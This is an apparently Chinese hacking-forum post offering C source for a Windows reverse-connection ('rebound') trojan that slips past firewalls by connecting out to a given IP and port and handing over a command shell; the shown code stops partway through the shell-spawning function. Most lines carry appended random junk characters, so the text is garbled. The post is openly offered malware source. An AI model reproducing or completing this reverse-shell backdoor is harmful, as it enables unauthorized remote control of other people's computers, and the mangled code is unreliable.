这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U%bm{oVn
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Rebound port in Windows NT cdkEK
By wind,2006/7 5FJLDT2Lg
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#include V/H+9+B7Im
#include 2F*>&n&Db7
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); 3m75mny
SOCKET sClient; Nzgi)xX0HX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v\|jkzR5Y
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void main(int argc,char **argv) TO89;O
{ \{ | GK
WSADATA stWsaData;
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int nRet; G@Z%[YNw
SOCKADDR_IN stSaiClient,stSaiServer; .n8O 3V
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if(argc != 3) @P~%4:!Hr
{ ?&9=f\/P
printf("Useage:\n\rRebound DestIP DestPort\n"); *K_8=TIA*
return; 4G I3|{
} &,<,!j)Jr
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WSAStartup(MAKEWORD(2,2),&stWsaData); RuYIG?J=/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b#N P*L&
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stSaiClient.sin_family = AF_INET; ds+K7B$
stSaiClient.sin_port = htons(0); %T>@Ldt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &iw,||#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,nL~?h-Zh
{ j[i*;0) |
printf("Bind Socket Failed!\n"); \^,Jh|T
return; >;Oa|G
} sE&nEc
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stSaiServer.sin_family = AF_INET; lz>00B<Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bj4c_YBte
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kSEA
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kM4z
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{ sryA(V
printf("Connect Error!"); X=-= z5
return; 2~/`L=L
} {M:/HQo
OutputShell(); <%3fJt-Ie
} C ibfuR
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void OutputShell() PTe$dPB
{ MkFWZ9c3
char szBuff[1024]; 3HXeBW
SECURITY_ATTRIBUTES stSecurityAttributes; V<|N}8{Z2a
OSVERSIONINFO stOsversionInfo; ZiY2N*,VO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7Z:3xb&>
STARTUPINFO stStartupInfo; 9\?&u_ U"
char *szShell; p*jU)@a0
PROCESS_INFORMATION stProcessInformation; $]#8D>E&